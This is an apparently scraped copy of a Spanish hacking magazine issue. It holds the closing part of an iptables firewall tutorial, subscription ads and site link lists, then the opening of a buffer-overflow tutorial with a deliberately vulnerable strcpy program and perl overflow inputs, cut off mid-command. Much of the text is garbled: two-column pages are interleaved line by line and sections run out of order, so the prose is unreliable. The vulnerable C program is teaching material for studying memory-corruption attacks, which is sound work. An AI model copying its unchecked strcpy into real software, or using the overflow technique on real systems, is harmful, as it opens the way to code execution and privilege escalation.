                                                                                $IPT -A SALIDA_ICMP -p icmp --icmp-type parameter-problem -j ACCEPT
variable PINGSALIDA excepto en un caso...
                                                                                $IPT -A SALIDA_ICMP -p icmp --icmp-type time-exceeded -j ACCEPT

for ipicmpsal in $PINGSALIDA; do
$IPT -A SALIDA_ICMP -p icmp --icmp-type echo-request -d $ipicmpsal -j ACCEPT
                                                                                CADENAS DE USUARIO A CADENAS
$IPT -A SALIDA_ICMP -p icmp --icmp-type echo-reply -d $ipicmpsal -j ACCEPT      ESTANDAR
$IPT -A ENTRADA_ICMP -p icmp --icmp-type echo-reply -s $ipicmpsal -d $IPFW -j
ACCEPT
                                                                                Terminamos…. Como hemos definido un montón de cadenas
done
                                                                                de usuario, tenemos que explicar a IPTables hacia qué
                                                                                cadenas “estándar” se deben aplicar, es decir, si nuestras
Esa línea que está resaltada, te puede parecer un error,
                                                                                nuevas cadenas se deben aplicar dentro de la cadena
pero no lo es.... no es que haya equivocado la cadena
                                                                                predefinida INPUT, OUTPUT o las dos.
SALIDA y haya puesto ENTRADA, es así... porque nuestros
echo reply deben poder entrar la host cortafuegos cuyo
                                                                                Este es el resumen:
origen sea cualquiera de las IP’s permitidas de Salida, eso
sí, de sólo aquellas cuya IP destino sea nuestro propio
                                                                                Se asignarán a las cadenas estándar INPUT y OUTPUT,
cortafuegos, en cristiano:
                                                                                las cadenas de usuario:
Permite la entrada de los echo reply (aquellos que nos
enviarán las máquinas a las que les hagamos ping desde                                 La IP de loopback
el cortafuegos) cuya ip origen esté permitida en la variable                          Las cadenas IPEXCLUIDAS, IPBAN, HOSTBAN,
PINGSALIDA y cuyo destino seamos nosotros mismos.                                   FLOODSYN y REGISTRADESECHO
                                                                                       Todo el tráfico que NO SEA ICMP
Si no incluimos nada en las variables PINGENTRADA y
PINGSALIDA al principio, no podremos enviar pings a nadie                       Se asignarán únicamente a las cadenas estándar INPUT,
y tampoco responderemos a nadie, o si incluimos 0.0.0.0/0                       las cadenas de usuario:
se lo permitimos a todos, si queremos hacer ping pero que
nosotros no respondamos a ellos, podremos 0.0.0.0/0 en                                 ENTRADA y ENTRADA_ICMP
la variable PINGSALIDA y nada (“”) en la variable
PINGENTRADA.                                                                    Se asignarán únicamente a las cadenas estándar OUTPUT,
                                                                                las cadenas de usuario:
Las nuevas cadenas de usuario que controlarán el tráfico
ICMP entrante o saliente son: ICMP_ENTRADA e
                                                                                       SALIDA y SALIDA_ICMP
ICMP_SALIDA


 Página 64                                                                                                                        PC PASO A PASO Nº 23
Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II)




Código parte 10


$IPT -A INPUT -i $LOOPBACK             -j ACCEPT            a tu LiNUX y aplicar el script ./NOIPT o cualquier
$IPT -A INPUT                          -j IPEXCLUIDAS       otro que vuelva a poner “las cosas en su sitio”.
$IPT -A INPUT                          -j IPBAN
$IPT -A INPUT                          -j HOSTBAN
$IPT -A INPUT                          -j FLOODSYN          Y más trabajo..... ahora los deberes...
$IPT -A INPUT -p ! icmp                -j ENTRADA
$IPT -A INPUT -p icmp                  -j                   Qué te parece “acoplar” otro módulo a este
ENTRADA_ICMP                                                cortafuegos que detecte, registre y deseche escaneos
$IPT -A INPUT                          -j                   de puertos o técnicas sospechosas de usos
REGISTRADESECHO                                             fraudulentos de los indicadores TCP , como por
$IPT -A OUTPUT -o $LOOPBACK            -j ACCEPT            ejemplo detectar las actividades de nMap
$IPT -A OUTPUT                 -j IPEXCLUIDAS               o de Firewalk.... bien, pues esos son “tus deberes”,
$IPT -A OUTPUT                 -j IPBAN                     en los foros has de aportar tus ideas, soluciones,
$IPT -A OUTPUT                 -j HOSTBAN                   preguntas... y si andáis muy despistados, alguna
$IPT -A OUTPUT                         -j FLOODSYN          pista daremos
$IPT -A OUTPUT -p ! icmp       -j SALIDA
$IPT -A OUTPUT -p icmp         -j SALIDA_ICMP
$IPT -A OUTPUT                 -j REGISTRADESECHO           Para el próximo artículo abordaremos las tablas nat,
                                                            mangle y cadenas FORWARD, será indispensable
                                                            que tengas una buena práctica con los comandos,
                                                            opciones, scripts., etc., que hemos visto por ahora,
Ni que decir tiene que todas las líneas de código
                                                            la práctica e implementación final de un firewall de
pertenecen al mismo script, (las 10 partes del código)
                                                            red usará cadenas de usuario y funciones muy
hay que teclearlo todo en un único archivo, o como          similares a las que acabamos de ver... y para entonces
ya te dije antes podrás descargar éste y los otros          no las detallaré tan minuciosamente....
utilizados en este artículo de la dirección:
                                                            Hasta pronto
http://www.forohxc.com/Docs/fw/ipt/iptfw2.txt




Bueno, ha sido duro... lo sé... pero lee, lee y vuelve
a leer, para cualquier duda estamos en los foros,
tómalo con calma y practica MUCHO por tu cuenta,
ten siempre “a mano” el script que llamé ./NOIPT,
te será de gran ayuda para restaurar la configuración
de IPTables y que no te quedes colgado... ten mucho
cuidado con las directivas predeterminadas DROP y
REJECT, si las aplicas mal, salvas la configuración
del servicio IPTables y reinicias el servicio o el equipo
te puedes llevar más de una sorpresa... como por
ejemplo que auto-bloqueé el servicio de las X, en
ese caso tendrás que acceder sin el modo “gráfico”


 PC PASO A PASO Nº 23                                                                                    Página 65
SUSCRIBETE A
                        PC PASO A PASO
                                                                             45 EUROS (10% DE DESCUENTO)
   SUSCRIPCIÓN POR:                                                          +
   1 AÑO                                                       =             SORTEO DE UNA CONSOLA XBOX
                                                                             +
   11 NUMEROS                                                                SORTEO 2 JUEGOS PC (A ELEGIR)

C o n t r a R e e m b o l s o Giro Postal

Solo tienes que enviarnos un mail a preferente@hackxcrack.com              Envíanos un GIRO POSTAL por valor de 45 EUROS a:
indicando:                                                                 CALLE PERE MARTELL20, 2º 1ª.
- Nombre                                                                   CP 43001 TARRAGONA
- Apellidos                                                                ESPAÑA
- Dirección Completa                                                       IMPORTANTE: En el TEXTO DEL GIRO escribe un mail de contacto
- Población                                                                o un número de Teléfono.
- Provincia
- Cógigo Postal                                                        Y enviarnos un mail a preferente@hackxcrack.com indicando:
- Mail de Contacto y/o Teléfono Contacto                               - Nombre
Es imprescindible que nos facilites un mail o teléfono de contacto.    - Apellidos
- Tipo de Subscripción: CONTRAREEMBOLSO                                - Dirección Completa
- Número de Revista:                                                   - Población
Este será el número a partir del cual quieres subscribirte. Si deseas  - Provincia
(por ejemplo) subscribirte a partir del número 5 (incluido), debes poner
                                                                       - Cógigo Postal
un 5 y te enviaremos desde el 5 hasta el 15 (ambos incluidos)          - Mail de Contacto y/o Teléfono Contacto
                                                                       Es imprescindible que nos facilites un mail o teléfono de contacto.
APRECIACIONES:                                                         - Tipo de Subscripción: GIRO POSTAL
* Junto con el primer número recibirás el abono de 45 euros, precio - Número de Revista:
de la subscripción por 11 números (un año) y una carta donde se te Este será el número a partir del cual quieres subscribirte. Si deseas
indicará tu número de Cliente Preferente y justificante/factura de la (por ejemplo) subscribirte a partir del número 5 (incluido), debes poner
subscripción.                                                          un 5 y te enviaremos desde el 5 hasta el 15 (ambos incluidos)
* Puedes hacernos llegar estos datos POR MAIL,tal como te hemos
indicado; rellenando el formulario de nuestra WEB APRECIACIONES:
(www.hackxcrack.com) o enviándonos una carta a la siguiente dirección: * Junto con el primer número recibirás una carta donde se te indicará
CALLE PERE MARTELL Nº20, 2º-1ª                                         tu número de Cliente Preferente y justificante/factura de la subscripción.
CP 43001 TARRAGONA                                                     * Puedes hacernos llegar estos datos POR MAIL,tal como te hemos
ESPAÑA                                                                 indicado; o enviándonos una carta a la siguiente dirección:
* Cualquier consulta referente a las subscripciones puedes enviarla CALLE PERE MARTELL Nº20, 2º-1ª
por mail a preferente@hackxcrack.com                                   CP 43001 TARRAGONA
                                                                       ESPAÑA
                                                                       * Cualquier consulta referente a las subscripciones puedes enviarla
                                                                       por mail a preferente@hackxcrack.com
NÚMERO 11:                                    NÚMERO 12:
- Curso de linux: programacion                - Curso de linux: programacion C.
- Visual Basic: IIS bug exploit               - Visual Basic: IIS bug exploit. Nuestro primer Scanner.
- Apache como proxy                           - APACHE: Configuralo de forma segura.
- Serie Raw: FTP                              - Serie Raw: FTP(II)
- Validacion XML: DTD                         - VALIDACION XML: DTD (II)
- Historia: Lady Augusta Ada Byron




                                              NÚMERO 14:
NÚMERO 13:                                    - Curso de linux: programacion C(III).
- Curso de linux: programacion C(II).         - Visual Basic:Nuestro primer proyecto(II).
- Visual Basic:Nuestro primer proyecto.       - Curso de PHP
- APACHE: Configuralo de forma segura.        - Serie Raw: DNS.
- Serie Raw: HTTP.                            - CURSO XML: DOM(II).
- CURSO XML: DOM.                             - HIJACKING




 - CURSO DE PHP (II)
 - Xbox. Inst alar Linux
 - SERIE RAW (9): MSN
          RAW
 - CURSO VISUAL BASIC: UN CLIENTE,
   UNA NECESIDAD(III).
 - PROGRAMACION BAJO LINUX: LENGUAJE C(III)
Hxc23

Más contenido relacionado

PDF
Hxc19
PDF
Hxc5
PDF
Hxc16
PDF
Hxc18
PDF
Hxc21
PDF
Hxc14
PDF
Hxc10
PDF
Hxc13
Hxc19
Hxc5
Hxc16
Hxc18
Hxc21
Hxc14
Hxc10
Hxc13

Similar a Hxc23 (20)

PDF
Hxc17
PDF
Hxc15
PDF
Hxc12
PDF
Hxc20
PDF
Hxc22
PDF
Hxc11
PDF
Hxc9
PDF
Hxc8
PDF
Hxc2
PDF
Hxc3
PDF
Hxc7
DOCX
2 p clei 5 inf-rmb
PDF
Manual de Identidad Corporativa - Xavier Ponce
PDF
Haxcra8.pdf
PDF
Escaleta para radio lirice guion radial
Hxc17
Hxc15
Hxc12
Hxc20
Hxc22
Hxc11
Hxc9
Hxc8
Hxc2
Hxc3
Hxc7
2 p clei 5 inf-rmb
Manual de Identidad Corporativa - Xavier Ponce
Haxcra8.pdf
Escaleta para radio lirice guion radial
Publicidad

Más de rubenroa (20)

PPTX
Estudios epidemiologicos
PPTX
Efectividad de la vacunacion Covid-19 en variante delta
PPTX
Causalidad
PPTX
Evaluacion de tecnologias sanitarias
PPT
Epidemiologia
PPT
Pediatrics 2008 jul 122(1) 143 8, figure-1
PPT
Introducción análisis farmacoepidemiológico sss&farma-taller15jun2011
PPTX
Maceira sss&farma-taller15jun2011
PPTX
Datos cohorte chilena sida (1)
PPT
Ferinject
PPTX
Kappos fingolimod moa-clin_results_vfinal_buenosaires1a
PPT
Uso Racional de Medicamentos
PPS
tabaquismo
PPT
Sesion ppt -2641_
PPT
Auditoria em
PPS
Indice tobillo brazo
PPS
indice tobillo brazo
PPTX
Epistemología y paradigmas
PPS
Vertigo acv
PPS
Apendicectomia
Estudios epidemiologicos
Efectividad de la vacunacion Covid-19 en variante delta
Causalidad
Evaluacion de tecnologias sanitarias
Epidemiologia
Pediatrics 2008 jul 122(1) 143 8, figure-1
Introducción análisis farmacoepidemiológico sss&farma-taller15jun2011
Maceira sss&farma-taller15jun2011
Datos cohorte chilena sida (1)
Ferinject
Kappos fingolimod moa-clin_results_vfinal_buenosaires1a
Uso Racional de Medicamentos
tabaquismo
Sesion ppt -2641_
Auditoria em
Indice tobillo brazo
indice tobillo brazo
Epistemología y paradigmas
Vertigo acv
Apendicectomia
Publicidad

Último (20)

PDF
Estrategia de apoyo tecnología grado 9-3
PDF
SAP Transportation Management para LSP, TM140 Col18
PPT
El-Gobierno-Electrónico-En-El-Estado-Bolivia
PDF
Plantilla para Diseño de Narrativas Transmedia.pdf
PDF
CyberOps Associate - Cisco Networking Academy
PPTX
RAP02 - TECNICO SISTEMAS TELEINFORMATICOS.pptx
PDF
Liceo departamental MICRO BIT (1) 2.pdfbbbnn
PDF
Instrucciones simples, respuestas poderosas. La fórmula del prompt perfecto.
PDF
Maste clas de estructura metálica y arquitectura
PDF
programa-de-estudios-2011-guc3ada-para-el-maestro-secundarias-tecnicas-tecnol...
PPTX
historia_web de la creacion de un navegador_presentacion.pptx
PPTX
ANCASH-CRITERIOS DE EVALUACIÓN-FORMA-10-10 (2).pptx
PPT
introduccion a las_web en el 2025_mejoras.ppt
DOCX
Zarate Quispe Alex aldayir aplicaciones de internet .docx
PDF
MANUAL TECNOLOGÍA SER MINISTERIO EDUCACIÓN
PPT
Que son las redes de computadores y sus partes
PPTX
Sesion 1 de microsoft power point - Clase 1
PDF
Calidad desde el Docente y la mejora continua .pdf
PPTX
Presentación PASANTIAS AuditorioOO..pptx
PDF
5.1 Pinch y Bijker en libro Actos, actores y artefactos de Bunch Thomas (coor...
Estrategia de apoyo tecnología grado 9-3
SAP Transportation Management para LSP, TM140 Col18
El-Gobierno-Electrónico-En-El-Estado-Bolivia
Plantilla para Diseño de Narrativas Transmedia.pdf
CyberOps Associate - Cisco Networking Academy
RAP02 - TECNICO SISTEMAS TELEINFORMATICOS.pptx
Liceo departamental MICRO BIT (1) 2.pdfbbbnn
Instrucciones simples, respuestas poderosas. La fórmula del prompt perfecto.
Maste clas de estructura metálica y arquitectura
programa-de-estudios-2011-guc3ada-para-el-maestro-secundarias-tecnicas-tecnol...
historia_web de la creacion de un navegador_presentacion.pptx
ANCASH-CRITERIOS DE EVALUACIÓN-FORMA-10-10 (2).pptx
introduccion a las_web en el 2025_mejoras.ppt
Zarate Quispe Alex aldayir aplicaciones de internet .docx
MANUAL TECNOLOGÍA SER MINISTERIO EDUCACIÓN
Que son las redes de computadores y sus partes
Sesion 1 de microsoft power point - Clase 1
Calidad desde el Docente y la mejora continua .pdf
Presentación PASANTIAS AuditorioOO..pptx
5.1 Pinch y Bijker en libro Actos, actores y artefactos de Bunch Thomas (coor...

Hxc23

  • 1. HACK X CRACK: ESTUDIANDO LOS ATAQUES POR BUFFER-OVERFLOW P P A A S S O O P A S Oa P A Oa a a a a a aa a a a a a 3 SERVIDORES ON LINE PARA TUS PRACTICAS DE HACK LOS MEJORES ARTÍCULOS GRATIS EN NUESTRA WEB EL PROTOCOLO MAS UTILIZADO POR LOS DETECCION DE ATAQUES TRACEO DE CONEXIONES DESTRUCCION DE FIREWALLS DEGRADACION DE SERVICIOS EL CONOCIMIENTO EN ESTADO PURO ¿Cómo funcionan? Nº 23 -- P.V.P. 4,5 EUROS 00023 8 414090 202756 P C PA S O A PA S O : C U R S O D E D I S E Ñ O D E C O R TA F U E G O S
  • 3. P A S O aa P A S Oaa aa a a aa a a a a a a aa Director de la Publicación EDITORIAL: EDITOTRANS S.L. J. Sentís C.I.F: B43675701 PERE MARTELL Nº 20, 2º - 1ª E-mail contacto 43001 TARRAGONA (ESPAÑA) director@hackxcrack.com Director Editorial I. SENTIS Diseño gráfico: E-mail contacto J. M. Velasco director@editotrans.com Título de la publicación Los Cuadernos de HACK X CRACK. E-mail contacto: Nombre Comercial de la publicacíón grafico@hackxcrack.com PC PASO A PASO Web: www.hackxcrack.com Dirección: PERE MARTELL Nº 20, 2º - 1ª. Redactores 43001 TARRAGONA (ESPAÑA) AZIMUT, ROTEADO, FASTIC, MORDEA, FAUSTO, ENTROPIC, MEIDOR, HASHIMUIRA, BACKBONE, ZORTEMIUS, AK22, DORKAN, KMORK, MAILA, TITINA, SIMPSIM... ... ... ... ... ¿Quieres insertar publicidad en PC PASO A Contacto redactores PASO? Tenemos la mejor relación precio-difusión del mercado editorial en España. Contacta con redactores@hackxcrack.com nosotros!!! Colaboradores Sr. Ruben Sentis Mas de 130 personas: de España, de Brasil, de Tfno. directo: 652 495 607 Argentina, de Francia, de Alemania, de Japón y Tfno. oficina: 877 023 356 E-mail: publicidad@editotrans.com algún Estadounidense. E-mail contacto colaboradores@hackxcrack.com Imprime I.G. PRINTONE S.A. Tel 91 808 50 15 4 Buf f er Ov er f low 13 Colabora con PC P aso a P aso DISTRIBUCIÓN: 14 Pr o t ocolo ICMP SGEL, Avda. Valdeparra 29 (Pol. Ind.) 28018 ALCOBENDAS (MADRID) 38 Conoce los Fir e wall (II) Tel 91 657 69 00 FAX 91 657 69 28 66 Suscribe t e a PC P aso a P aso WEB: www.sgel.es 67 N umer os atrasados TELÉFONO DE ATENCIÓN AL CLIENTE: 977 22 45 80 Petición de Números atrasados y Suscripciones (Srta. Genoveva) HORARIO DE ATENCIÓN: DE 9:30 A 13:30 (LUNES A VIERNES) © Copyright Editotrans S.L. NUMERO 23 -- PRINTED IN SPAIN PERIOCIDAD MENSUAL Deposito legal: B.26805-2002 Código EAN: 8414090202756 P IDE L O S NUMEROS ATRASADO S EN - - > WWW.HACKXCRAC K .C OM
  • 4. Como explotar fallos Buffer-Overflow Seguro que UNA Y MIL VECES has leido en Internet y/o revistas de Informatica lo siguiente: Ha sido descubierto tal y cual agujero de seguridad tipo BUFFER OVERFLOW y que es "explotable" mediante tal o cual exploit y bla, bla, bla... SEGURO QUE SIEMPRE TE HAS PREGUNTADO COMO FUNCIONA ESO DE LOS EXPLOITS: MUY BIEN, PUES PREPARATE PARA DESCUBRIRLO!!! Yo, igual que tu, que estas leyendo este artículo, siempre que veía esas alertas de Buffer Overflow en los portales de que una persona puede realizar. Al principio no sabrás ni tenerte seguridad me preguntaba… … ¿Cómo funcionan los exploits? en pie, pero poco a poco aprenderás a caminar (y por el camino ¿Cómo se provocan los Buffer-Overflow? ¿En qué consisten? encontrarás foros, personas y Webs que ya nunca abandonarás). Una noche de esas en que vuelves de fiesta, a eso de las Para empezar quédate con la idea de que en el sistema dos de la mañana me dio por sentarme un rato en el decimal (su nombre ya lo dice) hay 10 cifras, del 0 al 9. servidor linux que tengo en mi casa/oficina. Navegando un En cambio el sistema Hexa hay 16 cifras: poco, me encontré con un tutorial bastante bueno sobre 0,1,2,3,4,5,6,7,8,9,A,B,C,D,E,F (como ya no quedan más el tema y decidí estudiarlo. Este artículo es, en esencia, el números, llegado el 9 se sigue con letras). resultado de haber estudiado ese y otros documentos relacionados. Decir 5 en decimal equivale a 0x5 en Hexa, no hagas mucho caso del 0x que aparece antes del cinco, es solamente La intención es que puedas contar con una Guía Básica, una convención para hacer notar que se trata de números pero lo más completa posible, acerca de lo que es un exploit hexadecimales. por Buffer Overflow y de cómo implementarlo. Pero las cosas se ponen interesantes cuando queremos Para no tener problemas en la lectura de esta guía, es saber cómo se representa un 10 decimal en sistema recomendable que puedas entender, al menos por encima, Hexadecimal. Si has puesto un poco de atención, ya habrás un programa escrito en C, ya que es el lenguaje que adivinado (más bien dicho deducido), la respuesta es 0xA. utilizaremos para desarrollar los exploits. Sería también de Veamos algunos ejemplos para aclarar la figura: gran ayuda tener algo de dominio sobre el sistema de numeración hexadecimal, aunque, para todos aquellos que 1 en decimal equivale a 0x01 en Hexadecimal (el cero no lo controlan, apuntaré todos los detalles cuando nos a la izquierda de 1, en rojo, se coloca solo por claridad) enfrentemos con estos números. 10 en decimal equivale a 0x0A en Hexadecimal (el cero ! En esta misma... a la izquierda de A, en rojo, se coloca solo por claridad) 15 en decimal equivale a 0x0F en Hexadecimal (el cero En esta misma publicación, ya se hizo una breve introducción a a la izquierda de F, en rojo, se coloca solo por claridad) la programación en C en Linux. En su día advertimos que en un futuro cercano sería necesario tener unos mínimos conocimientos 16 en decimal equivale a 0x10 en Hexadecimal; 17 en de Linux y C, esperamos que tomases nota decimal sería 0x11 en Hex, etc. Si no es tu caso, te recomendamos que empieces a hacer tus Con esto debería ser suficiente para entender como "pinitos" en C, hay miles de tutoriales de C en Internet funcionan los hexadecimales, pero TE RECOMENDAMOS (www.google.com). La idea NO ES que aprendas a programar estudies profundices en el tema por tu cuenta (busca en en "plan profesional", sino que te inicies y tengas unas mínimas www.google.com) nociones para poder entender código sencillo. Un apunte final: cuando hablamos de ordenadores se usa No desesperes, nadie nace sabiendo. Lo que sí te aseguramos es el sistema hexadecimal, porque así nos resulta más fácil que aprender a programar es, posiblemente, la mejor inversión visualizar a nivel humano las cantidades binarias con las Página 4 PC PASO A PASO Nº 23
  • 5. Buffer - Overflow - Buffer - Overflow - Buffer - Overflow - Buffer - Overflow - Buffer - Overflow que se maneja un ordenador. Como sabes, un byte son Vulnerabilidad: una falla de un programa que permite ocho bits, y si investigas un poco verás que es posible a un atacante hacer cosas que en teoría no podría hacer. representar hasta 16 números con 4 bits (del 0000 al 1111) y OH! coincidencia, 16 es justo la cantidad base del sistema Exploit: Denominaremos Exploit al hecho de aprovecharse Hexa, por lo que con dos números hexa podemos representar de una vulnerabilidad. un byte. Core Dump: Es una fotografía el estado de ejecución Veamos un ejemplo, el byte 01011111 sería 0x5F en Hexa, de tu ordenador justo antes de que un programa fallara, que como ves es más fácil (al menos en teoría) de tratar usualmente se almacena como un archivo llamado core. que toda una sarta de ceros y unos. GDB: General DeBugger, se utiliza para seguir paso a Con lo dicho dejamos atrás la discusión sobre sistemas paso la ejecución de un programa y en nuestro caso numéricos y entramos un poco más en materia. también para examinar los archivos core. Para comprender algunos de los conceptos de esta guía he Shellcode: Es una tira de instrucciones (“mini-programa”) optado por definirlos de antemano y no dejarte en el aire escritas en ASM y codificadas en Hexadecimal, que es con nada que se "sobre entienda", vamos allá: usualmente lo que queremos que se ejecute una vez producida la falla. ASM: es la abreviación de ASSEMBLER, "lenguaje ensamblador". El lenguaje más cercano a la máquina que NOP: instrucción en ASM que significa No Operation, puede ser comprendido por lo humanos. es decir no haga nada. Lo único que hace es incrementar en uno el registro de siguiente instrucción (EIP) y ejecute Buffer: Un espacio en el que se almacenan datos de lo que allí se encuentre. En nuestro caso servirá para que forma temporal. el procesador “examine” la memoria hasta que se encuentre con nuestro Shellcode. Registro: Es un espacio de memoria interna en el núcleo del procesador que controla la ejecución de los programas. lil endian: es la forma en la que las direcciones de Existen varios tipos de registros, cada uno con una utilidad memoria son almacenadas en la mayoría de los sistemas específica. (El byte bajo primero) En general podemos asimilarlos como cajas en las que el EggShell: Es un programa que nos permite cobijar el procesador coloca datos que luego utiliza. Por ejemplo, ShellCode. De la traducción literal podemos decir que es para sumar dos números, digamos 1 + 2, el procesador algo así como un cascaron para nuestro Shellcode. Su coloca el número 1 en el registro AX (la instrucción en ASM objetivo es colocar el ShellCode en una dirección de sería mov 01,AX) luego coloca 2 en el registro BX (mov memoria conocida de forma que podamos hacer que el 02,BX) y luego ejecuta la suma (sum en ASM), el resultado EIP apunte a la instrucción en ASM del ShellCode. se almacenará en CX, esto último por definición y sin haberle dicho al procesador en donde almacenar dicha SetUid/SetGid: Estos son permisos de ejecución. Si suma. están puestos, significa que cuando se ejecute un programa este correrá bajo privilegios de un usuario distinto. Que quede claro que este es solo un ejemplo de la lógica de funcionamiento de los registros. Al igual que los registros Shell: La interfase interactiva que utilizamos para de uso general que hemos tocado (el AX y el BX), existen comunicarnos con el ordenador. otros registros como el puntero a instrucciones, o el de Perl: Es un lenguaje de programación muy utilizado Base de pila que tienen otras funciones. para construir aplicaciones CGI para la Web. Perl es un EIP: Es el registro que almacena la dirección de la acrónimo de Practical Extracting and Reporting Languaje, siguiente instrucción que debe ejecutar el procesador. IP que viene a indicar que se trata de un lenguaje de por Instruction Pointer (puntero a instrucción) programación muy práctico para extraer información de archivos de texto y generar informes a partir del contendido de los ficheros. EBP: Puntero a base (Base Pointer), apunta al elemento más alto de la pila. La pila (stack) es una estructura de Listo, hemos terminado con los conceptos preliminares, datos que utiliza el procesador para ayudarse en la ejecución ahora un poco de teoría. De lo que se trata en un ataque de los programas. PC PASO A PASO Nº 23 Página 5
  • 6. Buffer - Overflow - Buffer - Overflow - Buffer - Overflow - Buffer - Overflow - Buffer - Overflow de esta clase, es llegar a controlar el contenido del registro Implementando un ataque en la práctica EIP (instruction pointer). ¿Por qué? pues porque si controlamos su contenido podemos decirle que apunte a Este tipo de ataque es una vulnerabilidad común en cualquier la dirección de memoria que queramos y esa, por supuesto, plataforma y, de lejos, es la más usual en sistemas será la ubicación en la que hayamos guardado nuestro operativos Unix/Linux. ShellCode. Como ya se ha dicho antes, este ataque tiene como objetivo cambiar el flujo de ejecución de un programa para que apunte a una dirección de memoria diferente, en donde se coloca previamente un código propio (el que nosotros queramos) La memoria (en plataformas X86) está organizada en segmentos de 4 bytes (32 bits) y se podría asemejar a una muy larga fila de cajas etiquetadas secuencialmente. Cada caja sería una dirección de memoria y su etiqueta la dirección que le corresponde. Los programas se organizan colocando las instrucciones "en fila", en un segmento de memoria destinado al efecto. Y en otros segmentos se colocan otros elementos (por ejemplo datos). El procesador se encarga de obtener el contenido de esas direcciones de memoria, y vaciarlo en sus registros internos, posteriormente decodifica dicho contenido (cuando se trata de instrucciones) y actúa en consecuencia. Generalmente este esquema funciona bien, salvo cuando por alguna razón un segmente destinado a recibir algún dato es sorprendido con una cantidad de información superior a la que puede recibir físicamente (hay mas huevos que cajas para contenerlos), veamos un ejemplo de un programa que es sensible a un ataque de Buffer-Overflow. ! Recuerda que... Dibujo 1. Esquema delUna parte importante de nuestro ShellCode funcionamiento de un estará compuesta por NOPS, el comando en ataque por Buffer- ASM que indica que no se haga nada, solo Recuerda que para trabajar deberás usar una cuenta que no sea Overflow incrementar el EIP y avanzar hacia la siguiente root. La cuenta root no genera volcados de memoria cuando un instrucción. Este truco nos facilita el apuntar programa ejecutado con sus privilegios falla. más fácilmente a la dirección en donde esta nuestro ShellCode. Es mejor disponer de un rango lo más amplio posible para acertar con nuestro código de estar obligados vuln1.c a apuntar directamente a donde comienza el ShellCode. #include <stdio.h> #include <string.h> Veamos un ejemplo: int main(int argc, char **argv) { 0xBFFFFCA8:NOP char buff[512]; 0xBFFFFCAC:NOP if(argc < 2) 0xBFFFFCB2:SHELLCODE { printf("Uso: %s <nombre>n", argv[0]); EIP-> : 0xBFFFFCA8 exit(0); } En este caso hemos conseguido que el EIP apunte un poco strcpy(buff, argv[1]); antes del ShellCode, no importa, pues como tenemos printf("Hola: %sn", buff); instrucciones NOP el mismo procesador se encargará de return 0; avanzar hasta encontrar el ShellCode y ejecutarlo. } Página 6 PC PASO A PASO Nº 23
  • 7. Buffer - Overflow - Buffer - Overflow - Buffer - Overflow - Buffer - Overflow - Buffer - Overflow Una vez trascrito a tu editor de texto favorito, no me refiero Esta orden invoca al compilador de C "GCC" y le pide a un procesador de textos como Word, sino a vi, nano o compilar el programa fuente vuln1.c y crear un ejecutable cualquier otro de esa clase (editor de texto plano). de nombre vuln1. ! Para seguir... ! El texto que... Para seguir con los ejemplos deberás disponer de un shell Linux El texto que aparece como "server1 kublai $" es el prompt de mi (Gentoo en mi caso) con GCC y GDB instalados (casi todas las ordenador, en el tuyo aparecerá algo similar y variará un poco distribuciones los instalan por defecto) dependiendo de la distribución de Linux que uses y de la configuración de tu entorno de línea de comandos. A continuación tienes una imagen de como se ve el programa A continuación probamos que el programa haya sido en mi sistema compilado correctamente, es decir, lo ejecutamos (en rojo) y obtenemos el resultado (en verde): server 1 kublai $ ./vuln1 Uso: ./vuln1 <nombre> ! Fíjate en que... 1.- Fíjate en que debemos colocar un ./ (punto barra) antes del vuln1, esto es así, porque nos encontramos en el mismo directorio en el que está el ejecutable. 2.- Si el programa no se ejecutara o incluso si hubieras tenido problemas al compilarlo, revisa el código fuente, como sabes, olvidar un punto al programar, puede significar que el programa no funcione en lo absoluto o que ni siquiera llegue a compilarse. Si todo ha ido bien, tendrás un pequeño programa que hace lo que se supone que debe hacer, mostrar el mensaje hola <nombre> cuando se le invoca con un parámetro desde la línea de comando o en texto Uso: ./vuln1 <nombre> cuando se le invoca sin ningún parámetro. Veamos ahora, como explotar la vulnerabilidad de nuestro recién creado programa, ejecutemos el siguiente comando: server 1 kublai $ ./vuln1 `perl -e'print "A"x10'` Hola: AAAAAAAAAA Examinenos esta línea con un poco de detenimiento. En lugar de colocar nuestro nombre (o las 10 letras A en mayúsculas), hemos ejecutado un pequeño script en PERL. Como decía, una vez trascrito deberemos Dibujo 2. Vista del La opción -e le dice a PERL que ejecute lo que esta dentro compilarlo, ejecutando la orden (en rojo): código fuente del de las comillas simples, que en nuestro caso se traduce programa vuln1.c como imprimir la letra A mayúscula 10 veces. server 1 kublai $ gcc vuln1.c -o vuln1 PC PASO A PASO Nº 23 Página 7
  • 8. Buffer - Overflow - Buffer - Overflow - Buffer - Overflow - Buffer - Overflow - Buffer - Overflow ! Pon atención... entorno (con una cuenta normal), total es solo un programita de una cuantas líneas y seguro que te será más fácil volverlo a 1.- Pon atención a las comillas simples invertidas (en rojo) antes escribir. de la palabra perl y al final. Estas comillas suelen obtenerse presionando dos veces la tecla que muestra un acento invertido, Si aún así no funciona el core dumped, ejecuta el comando ulimit en los teclados normales es la tecla que hay a la derecha de la -c unlimited, asegurate también de tener permisos en el directorio tecla P. de trabajo y de que tu ejecutable no sea suid… como dijimos al principio, este tipo de archivos no generan volcados de memoria. 2.- Y ojo con esa “comilla simple” no invertida después de –e y después del 10 (en verde). En los teclados normales está a la Afinemos un poco. Si te fijas en el código fuente, la variable derecha del cero. buff es de 512 bytes, y nosotros hemos metido 1000 veces la letra A. Está claro que el programa no ha podido procesar esa cantidad de datos, pero veamos que ocurre si colocamos ./vuln1 `perl -e'print "A"x10'` solo 512 letras A. Aparentemente, todo esto parecería un poco fuera de lugar, server1 kublai $ ./vuln1 `perl -e'print "A"x512'` después de todo, bastaba con escribir la letra A diez veces Tu nombre es: ¿verdad? Pues sí, es cierto, pero… ¿qué pasa cuando AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA queremos escribir 1000 veces la A y no solo 10? Bueno, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA esa es la razón para armar este tinglado. Ahora que somos unos pequeños expertos en PERL, veamos como usar AAAAAAAAAAAAAAAAAA NOTA: Habrían 512 letras A nuestro nuevo conocimiento ;p El programa no falla. La lógica indica que si la variable Ejecutemos una línea parecida a la última, pero en lugar esta definida como de 512 bytes de capacidad, entonces de 10, hagamos que PERL nos imprima 1000 Veces la letra debería fallar con solo una A más. Vamos a intentarlo: A server1 kublai $ ./vuln1 `perl -e'print "A"x513'` server1 kublai 